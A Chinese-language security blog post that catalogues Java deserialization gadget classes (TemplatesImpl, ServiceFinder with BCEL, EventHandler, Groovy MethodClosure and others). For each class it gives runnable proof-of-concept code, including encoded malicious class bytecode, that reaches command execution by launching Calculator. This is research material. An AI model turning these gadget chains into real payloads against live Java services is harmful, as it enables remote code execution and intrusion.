Java反序列化1—反序列化常见利用类
2022-04-14 本文已影响0人
AxisX
利用类的作用：加载类或者执行命令。因为本文的重点放在了利用类本身，从反序列化入口到利用类的链条就不介绍了。
// 类加载
（1）com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl（BeanComparator、EqualsBean/ToStringBean可以间接调用TemplatesImpl）
（2）java.util.ServiceLoader$LazyIterator / com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator （配合BCEL）
// 反射调用
（3）javax.imageio.ImageIO$ContainsFilter
（4）java.beans.EventHandler
（5）com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection
// 非JDK自带
（6）org.codehaus.groovy.runtime.MethodClosure
（7）org.codehaus.groovy.runtime.ConvertedClosure
（8）groovy.util.Expando
（1）TemplatesImpl
TemplatesImpl用于CommonsBeanutils、Fastjson，其调用链如下，核心在于得到恶意类的Class对象。然后执行newInstance()操作触发static代码块中的恶意代码
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
具体调用过程如下，
public synchronized Properties getOutputProperties() {
return newTransformer().getOutputProperties();
}
public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
}
private Translet getTransletInstance() throws TransformerConfigurationException {
if (_name == null) return null; // 为了执行到下面的代码，_name不能为null（_name代表主类的名称）
if (_class == null) defineTransletClasses(); // _class：包含translet类定义的实际类
// newInstance时会被转换为AbstractTranslet，所以恶意类需要继承自AbstractTranslet
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
...
return translet;
}
private void defineTransletClasses() throws TransformerConfigurationException {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); // _bytecodes设置为恶意类的字节码
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
}
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
Demo如下，其核心在于getTransInstance()会调用defineTransletClasses()加载字节码为Class，然后.newInstance()进行实例化
public class TemplateTest {
public static void main(String[] args) throws IllegalAccessException, InstantiationException, NoSuchFieldException, IOException {
String cmdb64="yv66vgAAADQAQAoACwAmCQAnACgIACkKACoAKwoALAAtCAAuCgAsAC8HADAIADEHADIHADMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE0xUZW1wbGF0ZXNJbXBsVGVzdDsBAA1TdGFja01hcFRhYmxlBwAyBwAwAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADQBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAFlRlbXBsYXRlc0ltcGxUZXN0LmphdmEMAAwADQcANQwANgA3AQAcVGVtcGxhdGVzSW1wbCBDb25zdHVjdG9yIHJ1bgcAOAwAOQA6BwA7DAA8AD0BABJvcGVuIC1hIENhbGN1bGF0b3IMAD4APwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFUZW1wbGF0ZXNJbXBsIHJ1bgEAEVRlbXBsYXRlc0ltcGxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAQAAQAMAA0AAQAOAAAAcgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABYABQAAAA8ABAARAAwAEgAVABMAGQAUABAAAAAMAAEAAAAaABEAEgAAABMAAAAQAAL/ABgAAQcAFAABBwAVAAABABYAFwACAA4AAAA/AAAAAwAAAAGxAAAAAgAPAAAABgABAAAAGQAQAAAAIAADAAAAAQARABIAAAAAAAEAGAAZAAEAAAABABoAGwACABwAAAAEAAEAHQABABYAHgACAA4AAABJAAAABAAAAAGxAAAAAgAPAAAABgABAAAAHgAQAAAAKgAEAAAAAQARABIAAAAAAAEAGAAZAAEAAAABAB8AIAACAAAAAQAhACIAAwAcAAAABAABAB0ACAAjAA0AAQAOAAAAVwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAEgAEAAAACgAIAAsAEQAMABUADQAQAAAAAgAAABMAAAAHAAJUBwAVAAABACQAAAACACU=";
BASE64Decoder decoder=new sun.misc.BASE64Decoder();
byte[] classBytes=decoder.decodeBuffer(cmdb64);
TemplatesImpl templates=TemplatesImpl.class.newInstance();
Field f1=templates.getClass().getDeclaredField("_bytecodes");
f1.setAccessible(true);
f1.set(templates,new byte[][]{classBytes});
Field f2=templates.getClass().getDeclaredField("_name");
f2.setAccessible(true);
f2.set(templates,"TemplatesImplTest");
Field f3=templates.getClass().getDeclaredField("_tfactory");
f3.setAccessible(true);
f3.set(templates,TransformerFactoryImpl.class.newInstance());
templates.getOutputProperties(); // 触发
}
}
需要注意引入的包是这两个（这种更通用，没有类路径限制）
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
与之类似的还有这种（类路径上有需要有Xalan实现）
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
BeanComparator触发
BeanComparator中的compare方法，参数传入两个对象，然后比较这两个对象的属性，也就是说getProperty(o1,property)这步会调用o1的property属性。也就是调用o1这个类中对应的getxxProperty()方法。而TemplatesImpl链的入口正是TemplatesImpl.getOutputProperties()所以只需要o1传入TemplatesImpl，property传入_outputProperties
BeanComparator
ToStringBean触发
ToStringBean的toString方法获取beanClass所有的带有getter方法的属性，然后invoke(this.obj)反射调用getter方法，但是这个invoke的限制是不能传入参数，所以在利用时需要选取无参方法
ToStringBean.toString
getPropertyDescriptorsWithGetters方法如下：
BeanIntrospector.getPropertyDescriptorsWithGetters()
（2）ServiceLoader
先说一下SPI（Service Provider Interface），JDK内置的服务提供发现机制。Service通常指接口/抽象类，Provider则是接口的具体实现。假设Service接口为HelloService，它的实现类Provider可能包括EnglishHelloServiceImpl、ChineseHelloServiceImpl等，
那么可以在/META-INF/services/目录下创建一个Service的全限定类名命名的文件例如com.axisx.Service，文件的具体内容如下
com.axisx.impl.EnglishHelloServiceImpl
com.axisx.impl.ChineseHelloServiceImpl
这样就可以直接调用服务对应的各类Provider
ServiceLoader<HelloService> serviceLoader = ServiceLoader.load(HelloService.class);
Iterator<HelloService> it = serviceLoader.iterator();
while (it!=null && it.hasNext()) {
DemoService demoService = it.next();
}
上一篇提到过BCEL还可以用Class.forName来写
ClassLoader classLoader= new ClassLoader();
String bcelCode="$$BCEL$$...";
// new ClassLoader().loadClass(bcelCode).newInstance();
Class.forName(bcelCode,true,classLoader);
ServiceLoader的内部类LazyIterator中存在Class.forName方法，loader是该内部类构造方法传入的
ServiceLoader中的Class.forName
nextService方法的触发是LazyIterator.next()，那么就需要找到类似this.serviceIterator.hasNext()的代码来触发。与ServiceLoader类似的还有ServiceFinder，同样可以调用Class.forName
ServiceFinder.next()
以ServiceFinder为例，
cn字符串传入由内部类ServiceName的className字段控制。生成的ServiceName需要放入LazyIterator1的names数组中。loader由自身构造函数LazyIterator传入。
private static class LazyIterator<T> implements Iterator<T> {
Class<T> service;
@Nullable
ClassLoader loader;
ServiceFinder.ServiceName[] names;
int index;
...
}
private static class ServiceName {
final String className;
final URL config;
public ServiceName(String className, URL config) {
this.className = className;
this.config = config;
}
}
由于是内部类用反射来写。
public class ServiceLoadTest {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
Class ServiceName=Class.forName("com.sun.xml.internal.ws.util.ServiceFinder$ServiceName");
Constructor constructor1=ServiceName.getConstructor(String.class, URL.class);
constructor1.setAccessible(true);
String bcelCode="$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbn$T1$U$3dN$sq2L$a1$992$e5MSZhRhg$c3$$$V$9b$aal$Y$a0$oU$bbv$8c$V$5c$s$e3h$e2$a9$ca$X$b1$$$8b$82X$f0$B$7c$U$e2$da$94$3e$E$96$7c$af$ee9$f7$9c$eb$c7$cf_$df$7f$Ax$8e4D$88$5bm$dc$c6$9d$W$ee$86$b8$87$fb$n$k$e0a$LK$$w9$969$kq$ac04$b7t$a1$ed$L$86z$af$bf$cf$Ql$9b$f7$8a$e1F$a6$L$f5$a6$9a$8cT$b9$tF9$nqf$a4$c8$f7E$a9$5d$7d$G$G$f6$83$9e$91G$b6s$a4$f3$BCkK$e6gvsC$x$e4$c7$d7b$ea$5bi$mC84U$v$d5K$ed$a4m$t$d9$3c$UG$o$c25D$i$ab$R$k$e3$Jy8$a2$5bV$F$c7Z$84$k$fa$i$eb$R$9e$e2$Z$9d$c1LU$d1$dd$Q$ddm$91$cb$w$X$d6$94$R6$b0$c9$b0$e0$8c$d2$5c$U$e3t$e7X$aa$a9$d5$a6$a0$e39$x$86$f9$L$f2$ed$e8PI$7b$F$g$7e$9aY5$a1$fb$9b$8a$88$q$f3$8c6$e9n$a9$L$3b$b4$a5$S$93$c1$df$BWa$G$3euUN$a3$92$5ev$c9$d2$S$3c$k$b8$f7$ec$5c$a0$ef$aa$c2$ea$J$5d$3d$i$x$7b$5e$q$bd$7e$f6O$P$N$M$d4$b1$92$Mk$ff$f3$bd$E$ed$96F$aa$d9l$80e$b4$e9$cf$dd$aa$81$b9$X$a58GUJ$99Qn$ac$7f$F$3b$f1$f4u$8aM$P$d2GS$8c$fe4$60$k$j$ca$z$c4$e7$e2$Do$G$y$7eA$z$ae$9f$o$f8$86F$dc$3c$F$3f$f8$8c$e0$d5$89$e7$3a$b8I$9a$baw$8d$RP$M$a8n$Q$deD$C$ee$t$d4h$_$d0$e6$a8$edq$ea$ta$e2$e1$c5$dfb$c3$e7P$b3$C$A$A";
Object ServiceNameObj=constructor1.newInstance(bcelCode,null);
Object ServiceNameArray= Array.newInstance(ServiceName,1);
Array.set(ServiceNameArray,0,ServiceNameObj);
Class LazyIterator=Class.forName("com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator");
Constructor constructor2=LazyIterator.getDeclaredConstructors()[1];
constructor2.setAccessible(true);
Object LazyIteratorObj=constructor2.newInstance(String.class,new ClassLoader());
Field f1=LazyIterator.getDeclaredField("names");
f1.setAccessible(true);
f1.set(LazyIteratorObj,ServiceNameArray);
Method m1=LazyIterator.getDeclaredMethod("next"); //触发
m1.setAccessible(true);
m1.invoke(LazyIteratorObj,null);
}
}
（3）ImageIO
javax.imageio.ImageIO$ContainsFilter，一眼看过去就存在明显的反射，某个类的方法。但是invoke后面只能传入Object对象，也就是这个方法需要无参
ImageIO$ContainsFilter.invoke()
例如调用ProcessBuilder执行命令
public class ImageIOTest {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
Class ProcessBuilder=Class.forName("java.lang.ProcessBuilder");
Constructor constructor1=ProcessBuilder.getConstructor(String[].class);
constructor1.setAccessible(true);
Object Pro=constructor1.newInstance((Object)cmd);
Method m1=ProcessBuilder.getDeclaredMethod("start");
// m1.invoke(Pro);
Class ContainsFilter=Class.forName("javax.imageio.ImageIO$ContainsFilter");
Constructor constructor2=ContainsFilter.getConstructor(Method.class,String.class);
constructor2.setAccessible(true);
Object Obj=constructor2.newInstance(m1,"lalala");
Method m2=ContainsFilter.getDeclaredMethod("filter",Object.class);
m2.setAccessible(true);
m2.invoke(Obj,Pro);
}
}
（4）EventHandler
看一下java.beans.EventHandler源码，invokeInternal同样用到了反射，并且EventHandler的构造函数，可以控制target和action，最终反射用到的targetMethod是根据target和action生成的所以也是可控。
public EventHandler(Object target, String action, String eventPropertyName, String listenerMethodName)
但是想要执行到反射代码，method名称不能为hashCode、equals、toString，否则运行不到最后。另外Method的参数要么是空，要么是单个参数
EventHandler.invokeInternal
调用invokeInternal写个demo
public class EventHandlerTest {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
Class ProcessBuilder=Class.forName("java.lang.ProcessBuilder");
Constructor constructor1=ProcessBuilder.getConstructor(String[].class);
constructor1.setAccessible(true);
Object Pro=constructor1.newInstance((Object)cmd);
Method m1=ProcessBuilder.getDeclaredMethod("start");
Class EventHandler=Class.forName("java.beans.EventHandler");
Constructor constructor2=EventHandler.getConstructor(Object.class,String.class,String.class,String.class);
constructor2.setAccessible(true);
Object Handler=constructor2.newInstance(Pro,"start",null,null);
Method m2=EventHandler.getDeclaredMethod("invokeInternal",Object.class,Method.class,Object[].class);
Object[] objects=new Object[]{Pro};
m2.setAccessible(true);
m2.invoke(Handler,null,m1,objects);
}
}
（5）GetterSetterReflection
com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection也是一个invoke的反射调用，但是invoke中只能传入类对象，无法传入参数。所以不能采用Runtime.exec(cmd)这种需要传参的命令执行方法，而是采用ProcessBuilder.start()等无参方法
GetterSetterReflection
public class GetterSetterReflectionTest {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, AccessorException {
String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
Class ProcessCls=Class.forName("java.lang.ProcessBuilder");
Constructor constructor1=ProcessCls.getConstructor(String[].class);
constructor1.setAccessible(true);
Object ProcessBuilderObj=constructor1.newInstance((Object) cmd);
Method m1=ProcessCls.getDeclaredMethod("start");
m1.setAccessible(true);
// m1.invoke(ProcessBuilderObj);
Class cls=Class.forName("com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection");
Constructor constructor=cls.getConstructor(Method.class,Method.class);
constructor.setAccessible(true);
Accessor.GetterSetterReflection GetterObj= (Accessor.GetterSetterReflection) constructor.newInstance(m1,null);
GetterObj.get(ProcessBuilderObj);
}
}
（6）MethodClosure（Groovy）
这个类位于Groovy的jar包中，属于非JDK自带的类，org.codehaus.groovy.runtime.MethodClosure
MethodClosure
doCall方法明显是反射执行方法，写脚本测试一下
public class MethodClosureTest {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Object methodArgs="open -a Calculator";
MethodClosure methodClosure=new MethodClosure(Runtime.getRuntime(),"exec");
// methodClosure.call(methodArgs);
Method m1=methodClosure.getClass().getDeclaredMethod("doCall", Object.class);
m1.setAccessible(true);
m1.invoke(methodClosure,methodArgs);
}
}
或者用ProcessBuilder
public class MethodClosureTest {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Object obj=null;
String[] methodArgs= new String[]{"open","-a","/System/Applications/Calculator.app"};
MethodClosure methodClosure=new MethodClosure(new ProcessBuilder(methodArgs),"start");
Method m1=methodClosure.getClass().getDeclaredMethod("doCall", Object.class);
m1.setAccessible(true);
m1.invoke(methodClosure,obj);
}
}
（7）ConvertedClosure（Groovy）
一个动态代理的Demo，handler需要实现InvocationHandler，重写了invoke方法，那么在执行Proxy.newProxyInstance时自动调用invoke方法
public class Main {
public static void main(String[] args) {
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};
Hello hello = (Hello) Proxy.newProxyInstance(
Hello.class.getClassLoader(), // 传入ClassLoader
new Class[] { Hello.class }, // 传入要实现的接口
handler); // 传入处理调用方法的InvocationHandler
hello.morning("Bob");
}
}
interface Hello {
void morning(String name);
}
ConvertedClosure的源码如下，继承自ConversionHandler
ConvertedClosure
ConversionHandler实现了
InvocationHandler，并重写了invoke方法。所以如果执行Proxy.newProxyInstance就会调用这个invoke。invoke方法根据传入的method参数不同进入不同的逻辑。if：传入的method所属类为接口，
else if：传入的method不是Object对象中的方法（如hashcode、toString等），这步的checkMethod具体的判断代码是
return Object.class.equals(method.getDeclaringClass());所以传入Runtime.getRuntime.exec这种命令执行方法，会走到else if中，调用
ConvertedClosure.invokeCustom()，进而执行call方法，反射执行方法。
ConversionHandler
所以下面demo中的后两步就在触发动态代理的
invoke，进而触发invokeCustom
public class ConvertedClosureTest {
public static void main(String[] args) {
String[] methodArgs= new String[]{"open","-a","/System/Applications/Calculator.app"};
MethodClosure methodClosure=new MethodClosure(new ProcessBuilder(methodArgs),"start");
ConvertedClosure convertedClosure=new ConvertedClosure(methodClosure,"entrySet");
Map map= (Map) Proxy.newProxyInstance(ConvertedClosureTest.class.getClassLoader(), new Class[]{Map.class},convertedClosure);
map.entrySet();
}
}
（8）Expando（Groovy）
Expando
同样是调用call方法，只是需要properties中存在一个键为hashCode，值为Closure的子类
Expando#hashCode
利用上述的
MethodClosure.call()，也就是将值传为MethodClosure
public class ExpandoTest {
public static void main(String[] args) {
Map map = new HashMap<Expando, Integer>();
Expando expando = new Expando();
String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder(cmd), "start");
// methodClosure.call();
expando.setProperty("hashCode", methodClosure);
map.put(expando, 123);
expando.hashCode();
}
}
